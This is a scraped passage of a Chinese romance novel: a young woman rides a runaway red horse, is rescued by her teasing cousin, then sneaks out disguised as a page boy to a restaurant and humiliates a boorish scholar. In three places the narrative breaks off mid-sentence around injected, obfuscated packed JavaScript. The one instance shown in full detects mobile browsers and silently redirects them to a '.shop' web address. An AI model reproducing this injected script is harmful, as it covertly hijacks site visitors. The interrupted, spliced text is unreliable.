它已经令她惊奇多时了。有好几次,马倌牵着它去一块空着的场地,然后就放手让它自由奔跑。那马儿跑起来尾巴扬得像一团云,可更多的时候它只是轻摇缓步。它走路的姿势最奇特不过,十足的不可一世,好像嫌弃栅栏围起的区区数亩场地根本不够它施展似的。 长乐向旁人打听过,告诉她说:“那匹马是这里主人的心头好,千金不卖,也从不叫人骑它。”于是,她也就只能远远地渴慕地望着红马。 花瑛、花瑶看到兄长,忙上前去问候。银荷跟在后面,还是偷偷打量着那匹马。多精神的马儿!耳朵又长又尖,伶俐地竖在瘦削的脑袋两侧,前额有云朵样的一点白,除此外全身红得就像火炉里烧着的炭块。 “三哥哥今日过来做什么?”花瑛问,她和亲兄长花潜关系亲厚,在堂兄面前也没有太多拘束。 “我过来有事。听说几位妹妹也在,就顺便瞧瞧你们骑得怎么样了。” 花瑛和花瑶互相看看,也不知道她们的水平在花澈眼中能算得上是什么样。 “不过刚刚能骑而已,只能很慢地跑。”花瑛答。 “不错了,这才几个月。”花澈随便地瞅了两眼立在一旁的几匹马,“不过既然要骑,就挑几匹像样的,你们这些和骑驴有什么区别?” “这是大哥挑的。”花瑛解释道。 “大哥太瞧不起人了。还是试试这匹吧,你们骑一次便知道。” 银荷虽然对那红马很艳羡,但听花澈批评她的马,却又不愿意了。她爱怜地看看自己那匹矮小结实的白色花马,虽跑不快,但它很稳当。和红马比起来,它确实像头温驯的毛驴,不过就算是毛驴也是她的毛驴。 银荷一直没说话,拉着马便走开了。 依她平日,总要先慢慢兜两圈,抚着小马脖子,说上一阵话,才叫它跑。今日为了不给花澈看扁,刚上马背,她就催起马儿:“你快些啊。” 大概是不够快,因为她还能看清周遭景物。马儿见她不催,没多久便不再小跑,银荷坐着,只顾四处看。 她看见花澈给花瑛牵着马,花瑛从容地坐在马上,不知说了些什么,花澈只是摇头。马儿轻甩着蓬松的尾巴,趾高气扬的步态让银荷想起花府里那对锦鸡——它们显然觉得整个花园莫非自己的领地,不过那副样子看起来确实怪赏心悦目的。 银荷想装作满不在乎,可惜总是不成功,撑不了一会儿,她的眼珠子就忍不住就要朝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“妹妹肯原谅我了?”花澈趁势劝诱,“试试这匹马,虽不打仗,妹妹坐在马上,倒像个将军。” 银荷本来便跃跃欲试,看花澈一眼,被他神情激得就上了马。 花澈松开手:“但是我不能给你牵着,毕竟这个妹妹——” “不用你牵。”银荷正等不得这一句。 “这个妹妹不一样,我可以抱着你一起骑。”花澈把话说完。 银荷的脸登时就难看了,比暴雨前的天空还阴沉。 “妹妹莫急,这马儿不听话,我是怕你摔下来哭鼻子。妹妹可千万抓紧了。”花澈一面说,一面笑着跳开。 马儿一下子将他甩在身后。银荷并不敢大意,兴奋地紧紧握住缰绳。马蹄轻捷地踏在地上,几乎连尘土都没有扬起半点儿。 银荷头一回体会到了一种说不出的感觉,开心得忘乎所以。花瑛和花瑶好像都在旁边钦佩地看着,她想对她们笑一下,但一眨眼两人就不见了。那个讨厌的家伙当然也看不见。能够像这样驰骋,是何等的乐事! 可惜场子太小。现在银荷明白马儿的傲气了,有翻山越海的本事,却不得不在这儿兜圈子,怪道它不乐意。 马儿也是一样想。不知是谁打开了栅栏门,它瞅准时机,梭子一般穿了出去,留下身后一连串的惊呼。 20. 输赢 跑马场北面是山,马场就在山脚下。俗话讲,望山跑死马,但银荷今日才知,这话可要分开不同的马来说。刚刚,那山还像在画上般淡淡的,转眼间,脚下已是山坡了! 其实,这一片还只是山麓,地势平缓,起伏不大,可那马儿也因此愈跑愈快,飞也似的直向山上冲去。银荷试图勒住它,力气却不够将它一把勒死。马儿猛甩着头,又似要竖起前蹄。银荷惊恐,抓紧缰绳,俯身不敢再动。 好在不和马儿较劲,马儿也不乱来,跑得倒很稳。渐渐银荷半直起身,仍不敢扭头,只盯着马的两只耳朵之间。风呼呼而过,将她脸颊刮得生疼。 她想,马总有跑累的时候。可是也不知过了多久,只觉山路愈发狭窄,马儿却没有停歇的意思。马鬃不住地向前飞,银荷好像卷在一团红雾之中,什么都看不清。 突然,马儿转了个方向。银荷以为该下山了,忽见三十步开外黑忽忽一片林子,心道要坏,冲进树林迷路就难办了。就这一闪念的工夫,那马儿已对准一棵粗壮的大树,流星一般射过去。 银荷甚至没顾上想自己会如何,她刚刚来得及闭上眼睛。 身子一轻,银荷以为自己飞了起来,却没听到相撞的一声响。睁开眼,她看见红马擦着树干,若无其事地跑进林子里,马背上分明是空的,那她自己在哪儿?她满眼只看见一条条树干,满耳只听得一片沙沙声。 银荷骇然。她发觉原来她是坐在花澈怀中——还不如刚才撞死算了。 她又羞又气,转身狠狠推了花澈一把。花澈反还将她圈得更紧了些:“妹妹就这么对待救命恩人啊?” “什么救命,分明是你故意害我。”这不过是银荷的气话,不曾想却打中了真相。 花澈不由笑了,将马慢下来:“谁说故意,我可提醒你了——” 银荷哪里听他,对着他又推又打又摇又撞,直嚷嚷着要下去。花澈本来有几分歉疚懊悔,也就忍着。过一会儿,实在烦躁忍不得,便说:“你静一静,我带你回去。再乱动就把你丢在林子里喂狼。” “大白天哪里来的狼?”银荷这么说着,却安稳下来,花澈果真调转马头往林外而去。 “有人来了!”刚出林子,银荷突然喊一声,将脸向花澈怀里藏。趁花澈看向前面不备时,使劲一掀他胳膊将身子一缩就溜下地。自然落不稳,狠狠摔在一边。 “你还真是滑溜。”花澈停住马,无奈地望着她。 银荷不吭声,坐在地上直揉脚脖子,泪花在眼眶里打着转,她真是摔疼了。 花澈在马上看了她一会儿,只好跳下来。“难道还成了我的罪过?” 他蹲下身要检查银荷伤得如何,银荷趁机将手里一把土粒儿向他脸上扬去,不待看清到底得手没有,又一跃而起跑到他的马旁。 这可真是匹高头大马,银荷连拉带拽手忙脚乱了一通,好容易爬上去坐稳了,拧头一看,花澈好笑地瞧着她。 “我腿疼走不了路,麻烦三表哥稍候片刻,等我回去找人来接你。”银荷慌忙说道,一夹马肚,本以为马儿要冲出去,谁知竟是一步没迈。 银荷急了,又是揪马鬃,又是踢马肚子,又是擂马胯,虽然“手下留情”,没使太大力气,却也将自己折腾得狼狈不堪。可那马儿,任凭她如何,就像被绳子扯住了一般,只是原地踏着蹄子,不耐烦地晃着脑袋,仿佛银荷是只讨厌的蝇虻。 花澈在一旁火上浇油:“我在这儿站着,它怎么肯走。要么,妹妹这会儿愿意——”他作势就要上马。 银荷只好灰溜溜下来,故意不看花澈揶揄的笑脸,一瘸一拐走到一旁,一屁股坐下,没好气道:“我等着,请三表哥尽快回去喊人接我。” “腿都断了,嘴巴还硬呢。”花澈不屑地说。 话音未落,他已飞身上马,一眨眼,便冲入树林,连马蹄响都听不见了。 周遭寂静无声,银荷走动不得,倒真有点儿着急。约摸半柱香,黑马独个儿奔出树林,却不见花澈,银荷的心更是半上半下的。 不过,黑马在她面前停住,向地上干草嗅嗅,又抬起头,很自在的样子。银荷见它毛色乌亮,肢体匀称,脖颈笔直似箭,四腿紧绷如弦,真真是匹骏马,心里实在喜欢。 她起身,单脚蹦到马儿旁边。马儿圆圆的眼睛漫不经心瞟她一眼,就转开头去不加理会。银荷轻轻拍着马嘴,负气地说:“别瞧不起人,总有一天我要你好瞧。” 马儿好似能听懂,又看了她一眼,还带了些不以为然的神情。银荷情不自禁笑起来。这马真有趣,说到底和一匹马有什么可置气的。她搂住马脖子:“算你神气。我不怪你了,你以后听我话,好不好。”随即她想,这是花澈的马,听她的话做什么,脸便红了。 正没意思着,林中传来声响,银荷一扭头,瞪大了眼睛:那红马故伎重施,猛一转身,又向一棵树冲去。 银荷旁观看得更清楚,只觉比自己刚才亲历还要惊险百倍。“小心!”她大呼。 花澈轻轻侧了身子,拍了马脖子一下,马身不易察觉地一转,堪堪避开了致命一撞。花澈在银荷身前跳下马,看她吓得面色发白,心中特别喜悦,一把抱起她放在红马上:“好了,走吧。” 银荷惊魂未定,也顾不得生气,说:“这马儿古怪,我可不敢再骑它。” “你放心。”说着,花澈径自跨上黑马,旋风般跑远了。 银荷半是为较劲,半也没别的办法,壮起胆子催马前行。初时她还畏手畏脚,待跑开来就惊喜地发现这马真的变了,无论她想要做什么,马儿立即就能领会她的意图,再不自作主张。银荷只觉无比畅快,似乎世上再无不可做到之事。 一小会儿工夫,她看到花澈在前面信马由缰,赶紧勒住马,马儿跑得快停得也稳,银荷气还没换匀,它已经悠闲地迈着步子,和黑马并排走着了。 清冽的空气和刚才的纵情奔跑银荷容光焕发,端坐在马背上的婀娜身姿柔美中含着矫健。花澈扭头对她望着,本想夸奖几句,不料却看得一惊。 他早就知道这个假表妹生得美,但仿佛头一次发现竟美到了这般程度。马背上是一位姿容绝世的姑娘:她的白色骑装异常合身,领口露出细细一圈雪白的银鼠毛,诱人想伸手去摸摸,两粒耳坠子好像两颗水珠,摇曳出捉摸不定的光芒,叫人非得瞧个真切。然而这些都算不得什么,如果不是为了衬出她娇艳逼人的脸容——这样的面庞,他之前只在某些诗句中才隐约得见。这还不是全部,她整个人就是从山上奔冲而下的一股清泉,流晶沁玉,无止无休。 银荷注意到了花澈的神情。 要是换一位更惯常和男子打交道、也更富虚荣的女子,只怕已将花澈此刻心思猜了个七七八八,一定心中得意,甚或要央着他为自己做世上无论什么事了,银荷脑中却半个这种念头都没闪。 她现在自以为对花澈有几分了解:虽然他嘴里没有正经话,轻口薄舌,但似乎也不是真的起坏心——在他眼中从不见浮滑肮脏的下流气。 但他那种神情到底是什么,银荷却不知。固然也受冒犯,那是因他脸皮实在太厚,只管把那种说不上意思的目光送过来,令她止不住心跳。 但生气归生气,有那么几次,银荷甚至暗暗喜悦。而今日,因为到底是他从疾驰的马上救下自己,银荷看向花澈时,眼中不自觉流出温柔动人的波光。 这是能让人醉沉沉的眼睛,碧波幽深,又有火焰在其下灼灼闪耀。花澈隐约记得自己是打算一探究竟,便一头扎了进去。 直到银荷不自在地扭开脸,他才说:“刚刚和我的马说什么悄悄话呢?你若说实话,这次就放你一马。” 银荷脸红了:“你的马厉害,怎么不要它自己告诉你?” 花澈便拍拍马儿:“刚才妹妹是不是说,让你听她的,只管把别人摔个大跟头。” 银荷禁不住笑出了声:“三表哥真听得懂马儿说话,猜这样准。” “我认得的马儿,可比妹妹认得的字儿还多。”花澈笑道。 “不就是个马贩子嘛。”银荷撇撇嘴,心里却很羡慕,有些失落地瞅着马儿竖起的两只耳朵尖。 “妹妹骑得真不赖,等改天脚好了,咱们可以见个输赢。” 这是花澈嘴里说出的头一句让银荷异常喜欢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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腾万马吃惊之余,猛然醒悟,眼前浮现两人骑马过来的情景,当时隐隐觉得有些不对劲,现下一想真是再相和没有。他忙说:“对不住,对不住,太唐突了。” “没什么。”花澈摆摆手,又说,“这匹马先在你这里养着,我不在的时候可别牵出来叫人骑。” 腾万马连声答应,才完全放下心来。摔了这姑娘他可真赔不起,不过哪怕多年心血付之东流,也好过这小姑娘跌断脖子,那下半辈子他都过不安生了。 其实就是扭伤了脚,也算不得小事。银荷本拟含混过去,可到家时她的脚脖子已肿成了馒头,疼得无法走路,不得不坐上接她的小轿。 她自称跳下马时不小心,其他人都不敢讲出经过。老太太将长乐骂了几句,叮嘱银荷好好养伤,不许下地,又拿了特制的膏药来,银荷只涂了两次,伤处就复原如初。 不过天渐渐寒冷起来,大家都认为不适宜再去骑马,须等到来年清明后。冬日的玩乐却也不少,姑娘们在家围炉煮茶赏雪叙话,不觉便将隆冬消磨掉了。 快到正月,府里上下张灯结彩,不消细说。年初五,来了一道圣旨,准老太太入宫几日,与做妃子的女儿见面,慰母女之情。 老太太就这么独一个女儿,一年就盼着能见这么几日,即刻准备停当。待母女相见,说起家事来,得知映雪有孕,淑妃又是欢喜,又不免生出些感触:她入宫后一直无所出,幸而圣上怜惜,将生母低微的四皇子在她名下养大。四皇子人品出众,甚得圣上喜爱,又与太子交好,她也算是有了依傍。皇家如此,民间又何尝不是,她深知无子嗣的难为。 淑妃做姑娘时与二嫂最亲密要好,看瞅着二嫂两个儿子花沛、花澈长到了几岁,比对别的侄儿更关心些。她对瑷宁这个端庄的侄媳妇也很是喜爱,这时便想要安慰安慰她,因此又请了圣恩,召郑瑷宁进宫。 瑷宁匆匆收拾一番,来不及一一叮嘱几位姑娘,便往皇宫去了。 银荷等人在家里玩得厌了,原本正打算请瑷宁带她们上街转转,现下不能成行,难免失望,又琢磨起别的办法。 21. 酒楼 这段日子,因银荷请求,老太太接了宝屏来。老太太不许老爷太太管束姑娘们,于是,银荷、花瑶、宝屏三人,白日里都呆在清圆居,只管和丫环玩耍胡闹。 这天,她们想着出门逛逛,但大姑娘在街上走,总要有兄嫂家人在旁,映雪身子不方便,瑷宁偏又进宫去了,无人陪同,三人不好成行。若没起念头便罢,想好了的事,临近关头受挫,格外难受。 银荷说起先前去骑马,不过是长乐跟着马车,也没许多麻烦,蝉影听见道:“大爷给我弟弟放了假,他在家。不然我把他喊来,陪姑娘们去?” 花瑶怕兄长知道责骂,不肯答应,可是蝉影素来顽皮大胆,没事还要找出事来,一个劲儿怂恿:“前几日太太赏了我弟弟一身新衣,还在我那儿收着,要不我穿上和姑娘们出去?去去就回,谁能知道,便大爷知道了,节日里,也不会责怪。” 此时织雨亦回家去了,丫环中以蝉影为大,她这么说,再无人劝阻,几人一商量,可以这么办,但就怕万一有人过来问,没个应对,因此还需蝉影等留在府里。那么,找谁扮个小厮呢?“我来。”银荷一口抢下。 蝉影只要花瑶能高兴就行,当下就抱来崭新一套褂子、棉靴、皂帽。 银荷先穿了厚厚两层棉袄,再穿上外褂,撑得肩宽膀圆,真像个小子了。等束起头发,描粗眉毛,大家看一回,都笑说哪里来一个这么俊俏的小书僮。 嘻嘻哈哈中,几人把平日规矩顾虑忘得干干净净,这一趟非出去不可。也不想看戏,也不想听曲,干脆就上馆子吃顿饭。 “咱们去云聚楼。”宝屏喊道。 银荷赶快揣些银子在身上:“我请客!” 可巧大节下,后门口只有几个打杂的小厮临时守着,蝉影上去一说,小厮们都不敢多瞧,赶紧牵马来套;车夫听见是去酒楼,又得了赏银吃酒,哪有不乐意的,银荷三人顺顺当当坐上了车。 银荷头一个得意,其他两人也一样高兴,好一会儿都没停住笑。 终于,银荷想起来问:“云聚楼是个什么样地方?” “哎呀,你们都不知道?听说可好吃呢。可惜我们太太没带我去过,刚好咱们就去尝尝。”宝屏说罢,又遮了嘴,示意二人靠过来,头碰头小声道,“告诉你们一件事,可千万别传出去啊,不然我就不讲了。” 两人连连保证。宝屏便说:“有传言说,那儿的掌柜是位女子,而且是和……”她看一眼花瑶,“和你三哥相好呢。” “三哥?”花瑶怀疑道,“不可能,三哥不是那种人。” 怎么不是?银荷一下子就信了。没有这传言则已,既有,简直一定是真的。 不过花瑶信赖兄长,银荷也不好讲坏话,便不吭声。 花瑶只是不信:“你从何处听来?” “是我嫂子她们讲。”宝屏道。 “是么,除非那人长得很美吧,三哥那样……”花瑶因为在背后议论兄长,不大自在地红了脸。 “正是呢!据说那位掌柜貌美无双,不过真正瞧见的人倒没几个。多少人想去见识一下,哪里见得到。就前几日,府尹的小舅子在那儿喝醉了,说了什么不敬的话,当天晚上让人差点没打死,还是在自己家里,就在那么些看家护院的眼皮子底下,连府尹也无法。” “这听起来有点像三哥。”连花瑶都信了。 这种“不宜闺阁”的话题,几人谈论得分外起劲,宝屏又讲了几件女掌柜的传闻,最后说:“也许真就是传传,反正你们千万别说出去,不论真假,都别传到表哥耳朵里。” “那我们还去?”花瑶不禁担心。 “咱们怕什么,吃顿饭而已,便是你想见,也见不到掌柜。”宝屏说。 银荷真有点儿想见。她想花澈嘴上说着那些话,与他相好之人,该是何模样?越想越好奇,饭不吃也罢,只恨不得能亲眼见见那人才好。 等马车停下,银荷跳下车一瞧,面前正立着一座高楼,雕梁画栋,气派无比,匾额上三个大字:云聚楼。门前往来则皆是肥马轻裘。 她们三个出门可没鸣锣打鼓挂幡旗,但酒楼店伙大约自有一套不为人所知的辨认办法,门口招呼的小厮眼向马车一扫,立即回身向里面的人比个手势。姑娘们还在踌躇之时,早有两个小伙计利落奔出来,低眉垂首请她们入内。 几人进门后没穿过大厅,走了侧面一道楼梯,一径被带上了三楼。 银荷跟在最后,一路向四周张望着。这间酒楼既大,客人又多,沿着回廊两侧,几乎间间屋子都有说笑之声传出,来回走动递菜的伙计川流不息。拐了一道弯后,她们最终被领入尽头的一室,引路之人始终没说话,随即便退了出去。 这是间不大不小的屋子,正把着楼角,东南两面皆有窗户,其中一扇窗下摆了花梨木书桌并笔墨纸砚等物,似是为在此观景而诗兴大发的人准备的。 背面墙上,不显眼地挂着两幅字,一幅上书“石韫玉而山辉,水怀珠而川媚”。 银荷一眼认出这是位前朝大家的字,曲展和由心都常临他的贴;银荷晓得其人真迹十分难觅,竟能在一家酒楼得见,很是意外。 另一幅字,写着“黄楼夜景,为余浩叹”,字迹秀丽清雅,像是女子手笔,留款是俞雁。 这位俞雁,不知是不是就是那位女掌柜,银荷暗暗猜测。先不论人,这字便很漂亮——当然不能和“山辉川媚”相提并论,但与名家之作大大方方挂在一处,也毫不露怯。 很快走进来两位侍女,端着茶水和几样精致点心。两人皆身着绿裙,皆是细挑挑身材,水灵灵相貌。其中一人一边摆上点心,一边说:“三位姑娘都是第一次来吧,劳烦先等等。尝尝这几样,一般人可吃不到,专门为贵客准备的。” 她说“姑娘”时特意朝银荷调皮一笑,银荷便也向她一笑,问道:“怎知我们是第一次来,难道每位客人都能记住?” 那女孩便答:“寻常客人自然不记得,贵客只要见一面就能记住。” 旁边那位没开口的横她一眼:“还不快闭嘴,都是自家人,什么稀客贵客。三位别见怪。”她转过脸笑道。 三人忙摇头。又问二人姓名,爱说话的叫碧桃,另一个文静些的叫青梅。 碧桃为她们荐了几样菜,说:“这就来了,请姑娘们稍坐片刻。” 银荷吃完点心,起身四下转转。她穿得多,只是觉得热,把窗户推得大大的,站在窗前。这楼高,能望见远处的江水,银荷看得心旷神怡,转而又想,那位俞雁,是为什么而叹息呢? 想着想着,她自己却叹了一口气。先前没留意,这时就听窗外飘来一阵说话声,大约是旁边那间屋子也敞着窗,里面的人正聊得热闹。 银荷本想走开,可听了一耳朵就忍笑悄悄招呼花瑶宝屏:“你们快过来,是什么人这般说话,我从没听到过。” 她们一起凑近窗口细听。一个男人念了几句不知所云的话,便听另一人叹道:“如何这一支妙笔偏偏让卢兄得了,卢兄现今应有尽有,哪儿还不够。倒是给了小弟,我也做出几篇锦绣文章,什么样的门叩不开?” “不够不够。”先前那人大笑一阵后说:“还不够好,这只是昨日随便作的,还需润色一番,才敢拿回去让家父过目。” 又有一人说:“果真是家学渊源,贤弟这精益求精的脾性,我等自愧弗如。只是贤弟过谦了,你这文章要是天下第二,谁还敢称第一?要不信我的话,拿去给秦大人或者任大人评议——” “此言差矣,”一人插话道,“任大人未必尽领文章精妙之处,一定得拿给任小姐看。先打动了姑娘,来个捷足先登。过两日,卢兄少不得就该做一套催妆诗了。” “我正是此意。”被打断那人又说,“卢贤弟最懂帐中吟诗作赋的妙处。——咱们关起门来讲,秦小姐艳冠京都,照我等伧夫俗子看,已属绝品,但要头等眼光,还是任小姐更胜一筹。至于二美兼备的姑娘,世所罕有,可遇不可求那。” “这回公道,”前面那人说,“可知你还算不得最俗,最俗的管它才情盖世还是姿容无双,只看陪嫁的金银够不够多,老丈人头上那顶乌纱够不够大。” “大妙!此话耐咀嚼。”一人赞叹,“将来谁若是作一篇《京都名媛录》,可不能少了这句点睛之笔。” 几人大笑。“何必如此辛辣。照此说来,两位小姐都是雅俗共赏了。可惜咱没福分,非有卢贤弟这般才气,方可作大人们东床之选。” 那姓卢的得意道:“咳,贤兄弟们扯远了,我还没有娶亲的打算。咱们正经做学问,可不是为了这个。” “果然卢兄才是读书人本色。书中自有颜如玉,毋需强求,该来的自然会来,趣味还在后头。依我说,这时越发要斯文矜持些,方不自贬身份。也不比远,就说那卫维扬,要是早早让谁套住,还能有今日的口碑声誉?” 其他人听了又是一派吹捧:“比什么卫维扬,说他‘周郎学识,秦郎风度,柳七文章’,我看不过样子货,较卢兄所差远矣。” 银荷几人初时听他们说得可笑,听着听着面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16970642|192236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色就沉了下来。这当儿,花瑶红了脸,跺脚走开说:“这里不好,什么无聊人都有。” 银荷也恼恨他们对任姑娘不尊重,一把关上窗子:“蠢话连篇,一帮酒囊饭袋。别理他们了,我们玩我们的。” 说话间,碧桃和青梅上了菜来。先是笋脯、酱莴苣、腐皮松菌、乌鱼等数样精致小菜,连同盘箸杯盏,无一不精美异常。几人哪里还顾上不愉快,赶紧坐下品尝。 正吃得兴高采烈时,猛听门外头碧桃和人争执:“哎,离我远着点儿,别弄脏了菜。” “哪样菜,我也点一道,也要小美人亲自送过来。”一人轻薄道。这声音浮夸腻人,正是先前那位“妙笔卢兄”,只不过早把正经学问不知丢哪里去了。 “休得胡闹。”碧桃冷笑道,“公子只怕是头一回来,还不知大小。这道菜你吃不起,快让开,跌了盘子你也不够赔。” 银荷怕碧桃吃亏,忙打开门。一个圆胖身子的家伙正拦在碧桃面前,他见银荷侍童打扮,没多瞧,又探头向屋内瞥去,花瑶宝屏不及避开,被他一眼看见。这人扇子一摇,转向碧桃笑起来:“一般都是客人,她们这儿既管送小倌,如何我们那儿就不能送位小美人?” 碧桃勃然变色,待要发作,银荷见又出来几人,都在往这边看,忙一把拽进她来,啪一声关上门,只听那卢公子和他的同伴仍在外面刺刺不休。 碧桃气得胸脯一鼓一鼓:“有段日子没见过这等狂徒了,我叫人揍他去。” 花瑶恐事情闹大,忙过来拉住她。 “姑娘不必紧张。”碧桃说,“这种家伙来多少理会多少,管保他不敢叫唤。你们只管坐着,暂时别出去,一会子就好。” “他那个样儿,我看可经不住三拳两脚。先等一下,”银荷笑道,“我还听见他自诩读书人呢,咱们就用个文办法。”说着她走到桌前,研墨的功夫想好了,提笔刷刷写出几行字,折成信笺样子,交给碧桃,又在她耳边吩咐几句。 “这个好玩,咱们就试试。”碧桃只管点头,笑着出了门。 三人将门拉开条缝,头凑头向外瞧去。 碧桃走到那胖公子面前,脆声道:“卢公子,刚才多有得罪了。这里的客人久慕公子,要我向公子道歉。公子是明礼之士,请不要计较我无心之言。” 那姓卢的公子听见碧桃说出他的姓,不疑有它。当下得意地向两旁扫一眼,整整衣衫,折扇轻摇,上前一步说:“哪里哪里,适才我多喝了几杯,有些醉了,唐突了佳人。不知小姐尊府何处?” “我们只知是客人,别的倒也不知。等公子自己问便了。” 卢公子大喜:“那便有劳姑娘引见。” 碧桃忍着笑说:“公子莫急,稍待片刻。这位客人敬仰公子文采,有几句诗赠与公子。请公子当众和诗一首,才好相见。” 卢公子听了更是喜得无可不可,摇头晃脑道:“正应景,良辰美酒,岂可无诗乎?尊客人雅情,小生敢不欣然领命。我就即席和一首,不屈小姐盛意。恐怕我做得不好,还为逗小姐一乐。请拿来——” 碧桃把纸笺往他肥白绵软的手上一丢,捂嘴站到旁边。 这时候,除了他那几个狐朋狗友在旁插诨起哄,另有些客人先前听到动静出来视看,也凑近瞧个热闹。众目睽睽之下,卢公子展开纸张。 “妙——”他似乎是无意地说出这个字,嘴巴还没合上,笑容便凝住,面皮直涨成猪肝色,就要去撕那纸。 碧桃早有准备,一把抢过来:“哪个字不认识?我帮你念。” 她躲到近旁一大汉身后,清脆读出来:“ 妙 最俏 扇儿摇 头头是道 虾蟆乱聒噪 口气大,见识小 不知丑上蹿下跳 谁理你天字第几号 劝君一言:撒泡尿照照。” 众人哄堂大笑。就连卢公子的诸位文友也不例外,有的忍俊不禁,又碍着朋友面子,只向没人瞧的地方偷偷掩嘴,有的心虚脸红,但见旁人都笑,也勉强装出几声。 卢公子恼羞成怒。“哪个窑子里出来的烂货敢来消遣我?”他破口大骂,就要去逮碧桃。 银荷赶紧冲出门来,正看到原先挡住碧桃那人转身抓了他后领一拽,不知怎的那卢公子就结结实实摔了个四脚朝天。大家笑得更响,片刻后才上去两人好歹扶了他起来。 卢公子呲牙咧嘴,还欲再骂,突然像被施了定身法一般,目视前方,呆立不动。 22. 由心 顺着卢公子的目光望去,一位佳人正款款行来。一颗亮晶晶的宝石在斜入云鬓的钗头摇摇欲坠,墨、翠、白三只玉镯在凝霜皓腕上叮当作响。至于女郎的面容,众人一见之下,将所有能用来形容的词全部忘了。 不可能再有别人。从宝屏一番话后,银荷已相信酒楼掌柜貌美无比,然而这时见到真容,心还是突地一下。在场的人好像全部倒吸一口气,然后一齐安静下来。 女郎一面走近,一面微微颔首向众人致意。被她丝绒般的目光拂过时,大家纷纷低下头,等她转开脸后,又偷偷抬起眼瞧她。 刚才摔倒卢公子的人上前,低头对她耳语几句。众人这时才发现她身后还跟着两三位汉子,清一色精悍装束,个个目光慑人,很不好惹的模样。 女郎听完话,看向卢公子:“刚才是你生事,打扰我的客人?” 她一开口,大家便把那些骇人大汉丢开了。她的音量不高,可因为人人都屏息静气,连站在后面的银荷也听得清清楚楚。众人如闻天籁。其实这嗓音充满平易之美:女郎说话极其温柔和悦,让听到的人如饮甘泉醇酒般浑身舒坦。 银荷一下就被折服了,心想:世上怎会有如此美的女子,这般好听的声音,哪怕靠近一点就像亵渎,搭句话都是冒犯。 偏生那个卢公子就毫无自知之明,涎着脸又上前一步,打恭道:“不才卢令述。都是误会,惊了姐姐仙驾,还望姐姐原宥。” 这当儿他显得更加鄙陋不堪,连他的朋友都悄悄退远了些,撇过头不去瞧他。 “我知道公子。”女郎轻轻点头,“你是通政大人刚刚认回来的儿子。” 卢令述脸上一红一白。他的身世的确不多么光彩,可是现在也已认祖归宗,前事谁去管它。无论如何他姓卢,父亲乃是堂堂三品通政使,祖谱上有数位响当当的人物! 莫笑卢令述浅薄,时下只认姓氏血统的大有人在。就说那些帮闲围着他吹捧,虽是为了骗吃骗喝,可也没拿他当猫三狗四之辈。 “我又不是无名少姓,我的身份,比在场这些人是绰绰有余。年少有为、经纶满腹自不待言,来日还更要光大门楣,何况就是眼下也已名声远播,不然她怎么一口道出我的家世。”如此一想,卢令述复又得意起来,片刻前斯文扫地之事忘了个干净。 他站直身子,自作潇洒道:“实不相瞒,敝人幼时多病,家祖怕家父管教过严,所以特令我外面住着。家父也有意要我历练历练,每十日必去查考。敝人不敢负长辈厚望,一向勤勉,未稍有松懈耽迟。今日得罪姐姐的客人,全属无意。不过若非此,也不得与姐姐相识。敝人愿听候姐姐差遣。此处人多,还请姐姐移步,咱们屋内小叙。” 他一面说话,一面盯着女郎的脸神魂颠倒,一面又向前移两步。哪里容他近身,早有人上去抓他肩膀。咔嚓一声,他的胳膊脱了臼。 卢令述疼得大声惨叫。女郎不满地微蹙眉头:“给他安上,好生送出去罢,以后不许再来,这顿饭钱就不必算了。” 肩膀复位后,卢令述已是气焰全失。女郎对他说:“多有得罪了,卢公子,令尊大人若问起,也算你历练一场。” 旁的人一句不敢吭声,拖着卢令述,逃也似地走了。其余人顷刻间也散去。 女郎都没理会,只走到银荷面前,歉意道:“实在对不住,几位头一次来就遇上这事。” 银荷忙摇头:“都是我惹了麻烦,多谢相助。” “不用再提。”她略带疑惑地打量银荷,犹豫着说,“我姓俞,不知你是哪位妹妹。” 果然是那个俞雁。 “我姓曲。”银荷立即应道。 “啊,是曲姑娘。”俞雁赞赏地望着她。 银荷正待邀她进屋,俞雁突然说:“那边是你表兄吧。” 银荷吃了一惊,扭头望去,却是花涛,旁边还站着位玉树临风的公子。 花涛走上前来:“原来真是表妹。” 俞雁轻碰银荷的手,向二人点头示意后便即离去。 花涛不禁有些发窘,又问银荷:“表妹怎么这副打扮?你和谁一起来的?” “瑶妹妹,屏妹妹。四表哥怎么在这儿?”银荷比花涛更窘迫。 “你们都来了——就你们三个?我刚吃完饭。对了,表妹还不认识吧,这是卫公子。”刚才花涛身旁的公子也走了过来,花涛向他说,“这是舍表妹,姓曲,是我二舅公的孙女。” 那人便上前施礼道:“曲姑娘,在下卫维扬。” 银荷愣住,险些忘了还礼。 这个人是卫维扬,那位“二老爷”?卫维扬是这么个人?当然了,刚才那群家伙口里诋毁的人物,必然是极好,而且,他长得可真……银荷脸红起来,赶紧说:“我们先进屋吧。” 花涛和卫维扬本已吃完饭要走,可是既遇到了,花涛当然得送妹妹们回去。于是三言两语间,他们便也坐下。青梅和碧桃又重新上了菜,并添了碗筷,五人就一起吃起来。 